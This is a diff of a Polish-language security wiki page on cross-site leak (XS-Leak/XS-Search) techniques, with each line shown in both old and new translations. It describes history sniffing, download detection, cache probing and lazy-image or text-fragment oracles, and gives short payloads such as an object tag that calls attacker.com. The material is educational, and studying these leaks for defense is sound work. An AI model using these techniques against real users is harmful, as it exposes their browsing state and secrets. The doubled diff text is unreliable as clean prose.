Selektor CSS `:visited` jest wykorzystywany do stylizacji URL w inny sposób, jeśli były wcześniej odwiedzane przez użytkownika. W przeszłości metoda `getComputedStyle()` mogła być używana do identyfikacji tych różnic w stylu. Jednak nowoczesne przeglądarki wprowadziły środki bezpieczeństwa, aby zapobiec ujawnieniu stanu linku przez tę metodę. Środki te obejmują zawsze zwracanie stylu obliczonego, jakby link był odwiedzany, oraz ograniczenie stylów, które mogą być stosowane z selektorem `:visited`.
Selektor CSS `:visited` jest wykorzystywany do stylizacji URL w inny sposób, jeśli były wcześniej odwiedzane przez użytkownika. W przeszłości metoda `getComputedStyle()` mogła być używana do identyfikacji tych różnic w stylu. Jednak nowoczesne przeglądarki wprowadziły środki bezpieczeństwa, aby zapobiec ujawnieniu stanu linku przez tę metodę. Środki te obejmują zawsze zwracanie obliczonego stylu tak, jakby link był odwiedzony, oraz ograniczenie stylów, które mogą być stosowane z selektorem `:visited`.
Mimo tych ograniczeń, możliwe jest pośrednie rozróżnienie stanu odwiedzenia linku. Jedna z technik polega na oszukaniu użytkownika, aby interagował z obszarem dotkniętym przez CSS, wykorzystując właściwość `mix-blend-mode`. Ta właściwość pozwala na mieszanie elementów z ich tłem, co potencjalnie ujawnia stan odwiedzenia na podstawie interakcji użytkownika.
Mimo tych ograniczeń, możliwe jest pośrednie rozróżnienie stanu odwiedzenia linku. Jedna z technik polega na oszukaniu użytkownika, aby interagował z obszarem dotkniętym przez CSS, wykorzystując właściwość `mix-blend-mode`. Ta właściwość pozwala na mieszanie elementów z ich tłem, co może ujawniać stan odwiedzenia na podstawie interakcji użytkownika.
Ponadto, wykrycie można osiągnąć bez interakcji użytkownika, wykorzystując czasy renderowania linków. Ponieważ przeglądarki mogą renderować odwiedzone i nieodwiedzone linki w różny sposób, może to wprowadzić mierzalną różnicę czasową w renderowaniu. Dowód koncepcji (PoC) został wspomniany w raporcie błędu Chromium, demonstrując tę technikę przy użyciu wielu linków, aby wzmocnić różnicę czasową, co sprawia, że stan odwiedzenia jest wykrywalny poprzez analizę czasową.
Ponadto, wykrycie można osiągnąć bez interakcji użytkownika, wykorzystując czasy renderowania linków. Ponieważ przeglądarki mogą renderować odwiedzone i nieodwiedzone linki inaczej, może to wprowadzić mierzalną różnicę czasową w renderowaniu. Dowód koncepcji (PoC) został wspomniany w raporcie błędu Chromium, demonstrując tę technikę przy użyciu wielu linków, aby wzmocnić różnicę czasową, co czyni stan odwiedzenia wykrywalnym poprzez analizę czasową.
Aby uzyskać więcej szczegółów na temat tych właściwości i metod, odwiedź ich strony dokumentacji:
@ -743,17 +743,17 @@ W Chrome, jeśli strona z nagłówkiem `X-Frame-Options` ustawionym na "deny" lu
- **Podsumowanie:** Atakujący może rozpoznać pobieranie plików, wykorzystując iframe; ciągła dostępność iframe sugeruje pomyślne pobranie pliku.
- **Przykład kodu**: [https://xsleaks.dev/docs/attacks/navigations/#download-bar](https://xsleaks.dev/docs/attacks/navigations/#download-bar)
Nagłówek `Content-Disposition`, szczególnie `Content-Disposition: attachment`, instruuje przeglądarkę, aby pobrała zawartość zamiast wyświetlać ją w linii. To zachowanie może być wykorzystywane do wykrywania, czy użytkownik ma dostęp do strony, która wyzwala pobieranie pliku. W przeglądarkach opartych na Chromium istnieje kilka technik do wykrywania tego zachowania pobierania:
Nagłówek `Content-Disposition`, szczególnie `Content-Disposition: attachment`, instruuje przeglądarkę, aby pobrała zawartość zamiast wyświetlać ją w linii. To zachowanie można wykorzystać do wykrywania, czy użytkownik ma dostęp do strony, która wyzwala pobieranie pliku. W przeglądarkach opartych na Chromium istnieje kilka technik do wykrywania tego zachowania pobierania:
1. **Monitorowanie paska pobierania**:
- Gdy plik jest pobierany w przeglądarkach opartych na Chromium, pasek pobierania pojawia się na dole okna przeglądarki.
- Monitorując zmiany w wysokości okna, atakujący mogą wnioskować o pojawieniu się paska pobierania, co sugeruje, że pobranie zostało zainicjowane.
2. **Nawigacja pobierania za pomocą iframe'ów**:
2. **Nawigacja pobierania z iframe**:
- Gdy strona wyzwala pobieranie pliku za pomocą nagłówka `Content-Disposition: attachment`, nie powoduje to zdarzenia nawigacji.
- Ładując zawartość w iframe i monitorując zdarzenia nawigacji, można sprawdzić, czy rozkład treści powoduje pobranie pliku (brak nawigacji) czy nie.
3. **Nawigacja pobierania bez iframe'ów**:
- Ładując zawartość w iframe i monitorując zdarzenia nawigacji, można sprawdzić, czy dyspozycja zawartości powoduje pobranie pliku (brak nawigacji) czy nie.
3. **Nawigacja pobierania bez iframe**:
- Podobnie jak w technice iframe, ta metoda polega na użyciu `window.open` zamiast iframe.
- Monitorowanie zdarzeń nawigacji w nowo otwartym oknie może ujawnić, czy pobranie pliku zostało wyzwolone (brak nawigacji) czy zawartość jest wyświetlana w linii (nawigacja występuje).
- Monitorowanie zdarzeń nawigacji w nowo otwartym oknie może ujawnić, czy wyzwolono pobieranie pliku (brak nawigacji) czy zawartość jest wyświetlana w linii (następuje nawigacja).
W scenariuszach, w których tylko zalogowani użytkownicy mogą wyzwalać takie pobrania, te techniki mogą być używane do pośredniego wnioskowania o stanie uwierzytelnienia użytkownika na podstawie odpowiedzi przeglądarki na żądanie pobrania.
@ -769,10 +769,10 @@ W scenariuszach, w których tylko zalogowani użytkownicy mogą wyzwalać takie
> Dlatego ta technika jest interesująca: Chrome ma teraz **podział pamięci podręcznej**, a klucz pamięci podręcznej nowo otwartej strony to: `(https://actf.co, https://actf.co, https://sustenance.web.actf.co/?m=xxx)`, ale jeśli otworzę stronę ngrok i użyję fetch w niej, klucz pamięci podręcznej będzie: `(https://myip.ngrok.io, https://myip.ngrok.io, https://sustenance.web.actf.co/?m=xxx)`, **klucz pamięci podręcznej jest inny**, więc pamięć podręczna nie może być dzielona. Możesz znaleźć więcej szczegółów tutaj: [Zyskiwanie bezpieczeństwa i prywatności przez podział pamięci podręcznej](https://developer.chrome.com/blog/http-cache-partitioning/)\
> (Komentarz z [**tutaj**](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/))
Jeśli strona `example.com` zawiera zasób z `*.example.com/resource`, to ten zasób będzie miał **ten sam klucz pamięci podręcznej**, jakby zasób był bezpośrednio **żądany przez nawigację na najwyższym poziomie**. Dzieje się tak, ponieważ klucz pamięci podręcznej składa się z najwyższego _eTLD+1_ i ramki _eTLD+1_.
Jeśli strona `example.com` zawiera zasób z `*.example.com/resource`, to ten zasób będzie miał **ten sam klucz pamięci podręcznej**, jakby zasób był bezpośrednio **żądany przez nawigację na najwyższym poziomie**. To dlatego, że klucz pamięci podręcznej składa się z najwyższego _eTLD+1_ i ramki _eTLD+1_.
Ponieważ dostęp do pamięci podręcznej jest szybszy niż ładowanie zasobu, możliwe jest próbowanie zmiany lokalizacji strony i anulowanie jej 20 ms (na przykład) później. Jeśli pochodzenie zostało zmienione po zatrzymaniu, oznacza to, że zasób został zapisany w pamięci podręcznej.\
Można również **wysłać jakieś fetch do potencjalnie zapisanej w pamięci podręcznej strony i zmierzyć czas, jaki zajmuje**.
Ponieważ dostęp do pamięci podręcznej jest szybszy niż ładowanie zasobu, możliwe jest próbowanie zmiany lokalizacji strony i anulowanie jej 20 ms (na przykład) później. Jeśli pochodzenie zostało zmienione po zatrzymaniu, oznacza to, że zasób został zbuforowany.\
Można również **wysłać jakieś fetch do potencjalnie zbuforowanej strony i zmierzyć czas, jaki zajmuje**.
### Ręczne przekierowanie <a href="#fetch-with-abortcontroller" id="fetch-with-abortcontroller"></a>
@ -789,10 +789,10 @@ Można również **wysłać jakieś fetch do potencjalnie zapisanej w pamięci p
- **Metody włączenia**: Fetch API
- **Wykrywalna różnica**: Czas
- **Więcej informacji**: [https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller](https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller)
- **Podsumowanie:** Możliwe jest próbowanie załadowania zasobu i przerwanie ładowania przed jego załadowaniem. W zależności od tego, czy wystąpił błąd, zasób był lub nie był zapisany w pamięci podręcznej.
- **Podsumowanie:** Możliwe jest próbowanie załadowania zasobu, a przed jego załadowaniem ładowanie jest przerywane. W zależności od tego, czy wystąpił błąd, zasób był lub nie był zbuforowany.
- **Przykład kodu**: [https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller](https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller)
Użyj _**fetch**_ i _**setTimeout**_ z **AbortController**, aby wykryć, czy **zasób jest zapisany w pamięci podręcznej** oraz aby usunąć konkretny zasób z pamięci podręcznej przeglądarki. Ponadto proces ten odbywa się bez zapisywania nowej zawartości w pamięci podręcznej.
Użyj _**fetch**_ i _**setTimeout**_ z **AbortController**, aby wykryć, czy **zasób jest zbuforowany** i aby usunąć konkretny zasób z pamięci podręcznej przeglądarki. Ponadto proces ten odbywa się bez buforowania nowej zawartości.
### Zanieczyszczenie skryptu
@ -812,7 +812,7 @@ Użyj _**fetch**_ i _**setTimeout**_ z **AbortController**, aby wykryć, czy **z
W danym scenariuszu atakujący podejmuje inicjatywę, aby zarejestrować **pracownika serwisowego** w jednej ze swoich domen, konkretnie "attacker.com". Następnie atakujący otwiera nowe okno na stronie docelowej z głównego dokumentu i instruuje **pracownika serwisowego**, aby rozpoczął timer. Gdy nowe okno zaczyna się ładować, atakujący nawigują odniesienie uzyskane w poprzednim kroku do strony zarządzanej przez **pracownika serwisowego**.
Po przybyciu żądania zainicjowanego w poprzednim kroku, **pracownik serwisowy** odpowiada kodem statusu **204 (Brak treści)**, skutecznie kończąc proces nawigacji. W tym momencie **pracownik serwisowy** rejestruje pomiar z timera uruchomionego wcześniej w kroku drugim. Ten pomiar jest wpływany przez czas trwania JavaScript, powodując opóźnienia w procesie nawigacji.
Po przybyciu żądania zainicjowanego w poprzednim kroku, **pracownik serwisowy** odpowiada kodem statusu **204 (Brak zawartości)**, skutecznie kończąc proces nawigacji. W tym momencie **pracownik serwisowy** rejestruje pomiar z timera uruchomionego wcześniej w kroku drugim. Ten pomiar jest wpływany przez czas trwania JavaScript, co powoduje opóźnienia w procesie nawigacji.
> [!WARNING]
> W pomiarze czasu wykonania możliwe jest **eliminowanie** **czynników sieciowych**, aby uzyskać **dokładniejsze pomiary**. Na przykład, ładując zasoby używane przez stronę przed jej załadowaniem.
@ -820,7 +820,7 @@ Po przybyciu żądania zainicjowanego w poprzednim kroku, **pracownik serwisowy*
### Czas pobierania
- **Metody włączenia**: Fetch API
- **Wykrywalna różnica**: Czas (ogólnie z powodu zawartości strony, kodu statusu)
- **Wykrywalna różnica**: Czas (zwykle z powodu zawartości strony, kodu statusu)
- **Więcej informacji**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks)
- **Podsumowanie:** Użyj [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow), aby zmierzyć czas potrzebny na wykonanie żądania. Inne zegary mogą być używane.
- **Przykład kodu**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks)
@ -828,52 +828,52 @@ Po przybyciu żądania zainicjowanego w poprzednim kroku, **pracownik serwisowy*
### Czas między oknami
- **Metody włączenia**: Pop-upy
- **Wykrywalna różnica**: Czas (ogólnie z powodu zawartości strony, kodu statusu)
- **Wykrywalna różnica**: Czas (zwykle z powodu zawartości strony, kodu statusu)
- **Więcej informacji**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks)
- **Podsumowanie:** Użyj [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow), aby zmierzyć czas potrzebny na wykonanie żądania za pomocą `window.open`. Inne zegary mogą być używane.
- **Przykład kodu**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks)
## Z HTML lub ponowna iniekcja
Tutaj znajdziesz techniki wykradania informacji z HTML z innego źródła **wstrzykując zawartość HTML**. Te techniki są interesujące w przypadkach, gdy z jakiegoś powodu możesz **wstrzykiwać HTML, ale nie możesz wstrzykiwać kodu JS**.
Tutaj znajdziesz techniki wykradania informacji z HTML z innego źródła **poprzez wstrzykiwanie treści HTML**. Te techniki są interesujące w przypadkach, gdy z jakiegoś powodu możesz **wstrzykiwać HTML, ale nie możesz wstrzykiwać kodu JS**.
### Zawieszony znacznik
### Zawieszone znaczniki
{{#ref}}
dangling-markup-html-scriptless-injection/
{{#endref}}
### Ładowanie obrazów leniwie
### Ładowanie obrazów leniwych
Jeśli musisz **wykradać zawartość** i możesz **dodać HTML przed sekretem**, powinieneś sprawdzić **typowe techniki zawieszonych znaczników**.\
Jednak jeśli z jakiegoś powodu **MUSISZ** to zrobić **znak po znaku** (może komunikacja odbywa się przez trafienie w pamięć podręczną), możesz użyć tego triku.
Jeśli musisz **wykradać treści** i możesz **dodać HTML przed sekretem**, powinieneś sprawdzić **typowe techniki zawieszonych znaczników**.\
Jednak jeśli z jakiegoś powodu **MUSISZ** to zrobić **znak po znaku** (może komunikacja odbywa się przez trafienie w pamięci podręcznej), możesz użyć tego triku.
**Obrazy** w HTML mają atrybut "**loading**", którego wartość może być "**lazy**". W takim przypadku obraz zostanie załadowany, gdy będzie wyświetlany, a nie podczas ładowania strony:
```html
<img src=/something loading=lazy >
```
Dlatego możesz **dodać dużo niepotrzebnych znaków** (na przykład **tysiące "W"**) aby **wypełnić stronę internetową przed sekretem lub dodać coś takiego jak** `<br><canvas height="1850px"></canvas><br>.`\
Jeśli na przykład nasza **iniekcja pojawi się przed flagą**, **obraz** zostanie **załadowany**, ale jeśli pojawi się **po** **fladze**, flaga + niepotrzebne znaki **uniemożliwią jej załadowanie** (będziesz musiał eksperymentować z ilością niepotrzebnych znaków). To się wydarzyło w [**tym opisie**](https://blog.huli.tw/2022/10/08/en/sekaictf2022-safelist-and-connection/).
Jeśli na przykład nasza **iniekcja pojawi się przed flagą**, **obraz** zostanie **załadowany**, ale jeśli pojawi się **po** **fladze**, flaga + niepotrzebne znaki **uniemożliwią jej załadowanie** (będziesz musiał eksperymentować z ilością niepotrzebnych znaków do umieszczenia). To się wydarzyło w [**tym opisie**](https://blog.huli.tw/2022/10/08/en/sekaictf2022-safelist-and-connection/).
Inną opcją byłoby użycie **scroll-to-text-fragment**, jeśli jest to dozwolone:
#### Scroll-to-text-fragment
Jednak musisz **sprawić, aby bot uzyskał dostęp do strony** z czymś takim jak
Jednak musisz **sprawić, by bot uzyskał dostęp do strony** z czymś takim jak
```
#:~:text=SECR
```
Strona internetowa będzie wyglądać mniej więcej tak: **`https://victim.com/post.html#:~:text=SECR`**
Gdzie post.html zawiera niechciane znaki atakującego i obrazek ładowany leniwie, a następnie dodawany jest sekret bota.
Gdzie post.html zawiera niechciane znaki atakującego oraz obrazek ładowany leniwie, a następnie dodawany jest sekret bota.
Tekst ten spowoduje, że bot uzyska dostęp do dowolnego tekstu na stronie, który zawiera tekst `SECR`. Ponieważ ten tekst jest sekretem i znajduje się **tuż poniżej obrazu**, **obraz załaduje się tylko wtedy, gdy odgadnięty sekret jest poprawny**. Tak więc masz swoje oracle do **ekstrahowania sekretu znak po znaku**.
Tekst ten spowoduje, że bot uzyska dostęp do dowolnego tekstu na stronie, który zawiera tekst `SECR`. Ponieważ ten tekst jest sekretem i znajduje się **tuż poniżej obrazu**, **obraz załadowany zostanie tylko wtedy, gdy odgadnięty sekret będzie poprawny**. Tak więc masz swoje oracle do **ekstrahowania sekretu znak po znaku**.
Przykład kodu do wykorzystania tego: [https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e](https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e)
### Czas ładowania obrazów leniwie
### Ładowanie obrazów na podstawie czasu
Jeśli **nie ma możliwości załadowania zewnętrznego obrazu**, co mogłoby wskazać atakującemu, że obraz został załadowany, inną opcją byłoby próbowanie **odgadnięcia znaku kilka razy i zmierzenie tego**. Jeśli obraz jest załadowany, wszystkie żądania będą trwały dłużej niż w przypadku, gdy obraz nie jest załadowany. To zostało użyte w [**rozwiązaniu tego opisu**](https://blog.huli.tw/2022/10/08/en/sekaictf2022-safelist-and-connection/) **podsumowanym tutaj:**
Jeśli **nie ma możliwości załadowania zewnętrznego obrazu**, co mogłoby wskazywać atakującemu, że obraz został załadowany, inną opcją byłoby próbowanie **odgadnięcia znaku kilka razy i zmierzenie tego**. Jeśli obraz jest załadowany, wszystkie żądania będą trwały dłużej niż w przypadku, gdy obraz nie jest załadowany. To zostało użyte w [**rozwiązaniu tego opisu**](https://blog.huli.tw/2022/10/08/en/sekaictf2022-safelist-and-connection/) **podsumowanym tutaj:**
{{#ref}}
xs-search/event-loop-blocking-+-lazy-images.md
@ -887,23 +887,23 @@ regular-expression-denial-of-service-redos.md
### CSS ReDoS
Jeśli użyto `jQuery(location.hash)`, możliwe jest ustalenie za pomocą czasu **czy istnieje jakiś zawartość HTML**, ponieważ jeśli selektor `main[id='site-main']` nie pasuje, nie trzeba sprawdzać reszty **selektorów**:
Jeśli użyto `jQuery(location.hash)`, możliwe jest ustalenie za pomocą czasu, **czy istnieje jakiś zawartość HTML**, ponieważ jeśli selektor `main[id='site-main']` nie pasuje, nie trzeba sprawdzać reszty **selektorów**:
```javascript
$(
"*:has(*:has(*:has(*)) *:has(*:has(*:has(*))) *:has(*:has(*:has(*)))) main[id='site-main']"
)
```
### Wstrzykiwanie CSS
### CSS Injection
{{#ref}}
xs-search/css-injection/
{{#endref}}
## Ochrona
## Defenses
Zalecane są środki zaradcze w [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) oraz w każdej sekcji wiki [https://xsleaks.dev/](https://xsleaks.dev/). Sprawdź tam więcej informacji na temat ochrony przed tymi technikami.
Zaleca się stosowanie środków zaradczych opisanych w [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) oraz w każdej sekcji wiki [https://xsleaks.dev/](https://xsleaks.dev/). Sprawdź tam więcej informacji na temat ochrony przed tymi technikami.
## Odnośniki
## References
- [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf)
- [https://xsleaks.dev/](https://xsleaks.dev)

View File

@ -8,16 +8,16 @@ XS-Search to metoda używana do **ekstrakcji informacji z różnych źródeł**
Kluczowe komponenty zaangażowane w ten atak to:
- **Wrażliwa strona**: Strona docelowa, z której zamierzane jest wydobycie informacji.
- **Wrażliwa strona internetowa**: Docelowa strona, z której zamierzamy wyodrębnić informacje.
- **Strona atakującego**: Złośliwa strona stworzona przez atakującego, którą odwiedza ofiara, hostująca exploit.
- **Metoda włączenia**: Technika stosowana do włączenia Wrażliwej Strony do Strony Atakującego (np. window.open, iframe, fetch, tag HTML z href itp.).
- **Technika wycieku**: Techniki używane do rozróżnienia różnic w stanie Wrażliwej Strony na podstawie informacji zebranych za pomocą metody włączenia.
- **Stany**: Dwa potencjalne warunki Wrażliwej Strony, które atakujący stara się odróżnić.
- **Wykrywalne różnice**: Obserwowalne różnice, na których atakujący polega, aby wywnioskować stan Wrażliwej Strony.
- **Metoda włączenia**: Technika stosowana do włączenia Wrażliwej Strony Internetowej do Strony Atakującego (np. window.open, iframe, fetch, tag HTML z href itp.).
- **Technika wycieku**: Techniki używane do rozróżnienia różnic w stanie Wrażliwej Strony Internetowej na podstawie informacji zebranych za pomocą metody włączenia.
- **Stany**: Dwa potencjalne warunki Wrażliwej Strony Internetowej, które atakujący stara się odróżnić.
- **Wykrywalne różnice**: Obserwowalne różnice, na których atakujący polega, aby wywnioskować stan Wrażliwej Strony Internetowej.
### Wykrywalne różnice
Kilka aspektów można analizować, aby odróżnić stany Wrażliwej Strony:
Kilka aspektów można analizować, aby odróżnić stany Wrażliwej Strony Internetowej:
- **Kod statusu**: Rozróżnianie między **różnymi kodami statusu odpowiedzi HTTP** z różnych źródeł, takimi jak błędy serwera, błędy klienta czy błędy autoryzacji.
- **Użycie API**: Identyfikacja **użycia Web API** na stronach, ujawniająca, czy strona z innego źródła korzysta z konkretnego JavaScript Web API.
@ -28,9 +28,9 @@ Kilka aspektów można analizować, aby odróżnić stany Wrażliwej Strony:
### Metody włączenia
- **Elementy HTML**: HTML oferuje różne elementy do **włączenia zasobów z różnych źródeł**, takie jak arkusze stylów, obrazy czy skrypty, zmuszając przeglądarkę do żądania zasobu nie-HTML. Kompilację potencjalnych elementów HTML do tego celu można znaleźć na [https://github.com/cure53/HTTPLeaks](https://github.com/cure53/HTTPLeaks).
- **Elementy HTML**: HTML oferuje różne elementy do **włączenia zasobów z różnych źródeł**, takie jak arkusze stylów, obrazy czy skrypty, zmuszając przeglądarkę do żądania zasobu nie-HTML. Kompilacja potencjalnych elementów HTML do tego celu znajduje się pod adresem [https://github.com/cure53/HTTPLeaks](https://github.com/cure53/HTTPLeaks).
- **Ramki**: Elementy takie jak **iframe**, **object** i **embed** mogą osadzać zasoby HTML bezpośrednio na stronie atakującego. Jeśli strona **nie ma ochrony przed ramkami**, JavaScript może uzyskać dostęp do obiektu okna osadzonego zasobu za pomocą właściwości contentWindow.
- **Wyskakujące okna**: Metoda **`window.open`** otwiera zasób w nowej karcie lub oknie, zapewniając **uchwyt okna** dla JavaScript do interakcji z metodami i właściwościami zgodnie z SOP. Wyskakujące okna, często używane w jednolitym logowaniu, omijają ograniczenia ramkowe i ciasteczkowe zasobu docelowego. Jednak nowoczesne przeglądarki ograniczają tworzenie wyskakujących okien do określonych działań użytkownika.
- **Pop-upy**: Metoda **`window.open`** otwiera zasób w nowej karcie lub oknie, zapewniając **uchwyt okna** dla JavaScript do interakcji z metodami i właściwościami zgodnie z SOP. Pop-upy, często używane w jednolitym logowaniu, omijają ograniczenia ramkowe i ciasteczkowe zasobu docelowego. Jednak nowoczesne przeglądarki ograniczają tworzenie pop-upów do określonych działań użytkownika.
- **Żądania JavaScript**: JavaScript pozwala na bezpośrednie żądania do zasobów docelowych za pomocą **XMLHttpRequests** lub **Fetch API**. Te metody oferują precyzyjną kontrolę nad żądaniem, na przykład możliwość podążania za przekierowaniami HTTP.
### Techniki wycieku
@ -38,7 +38,7 @@ Kilka aspektów można analizować, aby odróżnić stany Wrażliwej Strony:
- **Obsługa zdarzeń**: Klasyczna technika wycieku w XS-Leaks, gdzie obsługiwacze zdarzeń, takie jak **onload** i **onerror**, dostarczają informacji o sukcesie lub niepowodzeniu ładowania zasobów.
- **Komunikaty o błędach**: Wyjątki JavaScript lub specjalne strony błędów mogą dostarczać informacji o wycieku, zarówno bezpośrednio z komunikatu o błędzie, jak i poprzez rozróżnienie między jego obecnością a brakiem.
- **Globalne ograniczenia**: Fizyczne ograniczenia przeglądarki, takie jak pojemność pamięci lub inne narzucone ograniczenia przeglądarki, mogą sygnalizować, kiedy osiągnięto próg, służąc jako technika wycieku.
- **Globalny stan**: Wykrywalne interakcje z **globalnymi stanami** przeglądarek (np. interfejs Historia) mogą być wykorzystywane. Na przykład, **liczba wpisów** w historii przeglądarki może dostarczać wskazówek dotyczących stron z różnych źródeł.
- **Globalny stan**: Wykrywalne interakcje z **globalnymi stanami** przeglądarek (np. interfejs Historia) mogą być wykorzystywane. Na przykład, **liczba wpisów** w historii przeglądarki może dostarczać wskazówek na temat stron z różnych źródeł.
- **API wydajności**: To API dostarcza **szczegóły wydajności bieżącej strony**, w tym czas sieciowy dla dokumentu i załadowanych zasobów, umożliwiając wnioski na temat żądanych zasobów.
- **Czytelne atrybuty**: Niektóre atrybuty HTML są **czytelne z różnych źródeł** i mogą być używane jako technika wycieku. Na przykład, właściwość `window.frame.length` pozwala JavaScript na zliczanie ramek osadzonych w stronie internetowej z różnych źródeł.
@ -46,7 +46,7 @@ Kilka aspektów można analizować, aby odróżnić stany Wrażliwej Strony:
XSinator to automatyczne narzędzie do **sprawdzania przeglądarek pod kątem kilku znanych XS-Leaks** opisanych w jego dokumencie: [**https://xsinator.com/paper.pdf**](https://xsinator.com/paper.pdf)
Możesz **uzyskać dostęp do narzędzia pod** [**https://xsinator.com/**](https://xsinator.com/)
Możesz **uzyskać dostęp do narzędzia pod adresem** [**https://xsinator.com/**](https://xsinator.com/)
> [!WARNING]
> **Wykluczone XS-Leaks**: Musieliśmy wykluczyć XS-Leaks, które polegają na **workerach serwisowych**, ponieważ mogłyby zakłócać inne wycieki w XSinator. Ponadto zdecydowaliśmy się **wykluczyć XS-Leaks, które polegają na błędnej konfiguracji i błędach w konkretnej aplikacji internetowej**. Na przykład, błędne konfiguracje Cross-Origin Resource Sharing (CORS), wycieki postMessage lub Cross-Site Scripting. Dodatkowo wykluczyliśmy XS-Leaks oparte na czasie, ponieważ często są wolne, hałaśliwe i niedokładne.
@ -66,14 +66,14 @@ Więcej informacji: [https://xsleaks.dev/docs/attacks/timing-attacks/clocks](htt
- **Metody włączenia**: Ramki, elementy HTML
- **Wykrywalna różnica**: Kod statusu
- **Więcej informacji**: [https://www.usenix.org/conference/usenixsecurity19/presentation/staicu](https://www.usenix.org/conference/usenixsecurity19/presentation/staicu), [https://xsleaks.dev/docs/attacks/error-events/](https://xsleaks.dev/docs/attacks/error-events/)
- **Podsumowanie**: Jeśli próbuje się załadować zasób, zdarzenia onerror/onload są wywoływane, gdy zasób jest ładowany pomyślnie/niepomyślnie, możliwe jest ustalenie kodu statusu.
- **Podsumowanie**: jeśli próba załadowania zasobu wywołuje zdarzenia onerror/onload, gdy zasób jest ładowany pomyślnie/niepomyślnie, możliwe jest ustalenie kodu statusu.
- **Przykład kodu**: [https://xsinator.com/testing.html#Event%20Handler%20Leak%20(Script)](<https://xsinator.com/testing.html#Event%20Handler%20Leak%20(Script)>)
{{#ref}}
cookie-bomb-+-onerror-xs-leak.md
{{#endref}}
Przykład kodu próbuje **załadować obiekty skryptów z JS**, ale **inne tagi** takie jak obiekty, arkusze stylów, obrazy, dźwięki również mogą być używane. Ponadto możliwe jest również wstrzyknięcie **tagu bezpośrednio** i zadeklarowanie zdarzeń `onload` i `onerror` wewnątrz tagu (zamiast wstrzykiwać je z JS).
Przykład kodu próbuje **załadować obiekty skryptów z JS**, ale **inne tagi** takie jak obiekty, arkusze stylów, obrazy, dźwięki mogą być również używane. Ponadto możliwe jest również wstrzyknięcie **tagu bezpośrednio** i zadeklarowanie zdarzeń `onload` i `onerror` wewnątrz tagu (zamiast wstrzykiwać je z JS).
Istnieje również wersja tego ataku bez skryptów:
```html
@ -81,12 +81,12 @@ Istnieje również wersja tego ataku bez skryptów:
<object data="//attacker.com/?error"></object>
</object>
```
W tym przypadku, jeśli `example.com/404` nie zostanie znaleziony, załadowana zostanie `attacker.com/?error`.
W tym przypadku, jeśli `example.com/404` nie zostanie znaleziony, załadowana zostanie strona `attacker.com/?error`.
### Czas ładowania
- **Metody włączenia**: Elementy HTML
- **Wykrywalna różnica**: Czas (zwykle z powodu zawartości strony, kodu statusu)
- **Wykrywalna różnica**: Czas (zazwyczaj z powodu zawartości strony, kodu statusu)
- **Więcej informacji**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events)
- **Podsumowanie:** [**performance.now()**](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) **API** może być używane do pomiaru, ile czasu zajmuje wykonanie żądania. Jednak inne zegary mogą być używane, takie jak [**PerformanceLongTaskTiming API**](https://developer.mozilla.org/en-US/docs/Web/API/PerformanceLongTaskTiming), które mogą identyfikować zadania trwające dłużej niż 50 ms.
- **Przykład kodu**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events) inny przykład w:
@ -95,7 +95,7 @@ W tym przypadku, jeśli `example.com/404` nie zostanie znaleziony, załadowana z
performance.now-example.md
{{#endref}}
#### Czas ładowania + wymuszone ciężkie zadanie
#### Czas ładowania + Wymuszone ciężkie zadanie
Ta technika jest podobna do poprzedniej, ale **atakujący** również **wymusi** pewną akcję, aby zajęła **odpowiednią ilość czasu**, gdy **odpowiedź jest pozytywna lub negatywna** i zmierzy ten czas.
@ -106,7 +106,7 @@ performance.now-+-force-heavy-task.md
### Czas unload/beforeunload
- **Metody włączenia**: Ramki
- **Wykrywalna różnica**: Czas (zwykle z powodu zawartości strony, kodu statusu)
- **Wykrywalna różnica**: Czas (zazwyczaj z powodu zawartości strony, kodu statusu)
- **Więcej informacji**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events)
- **Podsumowanie:** Zegar [SharedArrayBuffer](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#sharedarraybuffer-and-web-workers) może być używany do pomiaru, ile czasu zajmuje wykonanie żądania. Inne zegary mogą być używane.
- **Przykład kodu**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events)
@ -116,25 +116,25 @@ Czas potrzebny na pobranie zasobu można zmierzyć, wykorzystując zdarzenia [`u
### Czas ramki w piaskownicy + onload <a href="#sandboxed-frame-timing-attacks" id="sandboxed-frame-timing-attacks"></a>
- **Metody włączenia**: Ramki
- **Wykrywalna różnica**: Czas (zwykle z powodu zawartości strony, kodu statusu)
- **Wykrywalna różnica**: Czas (zazwyczaj z powodu zawartości strony, kodu statusu)
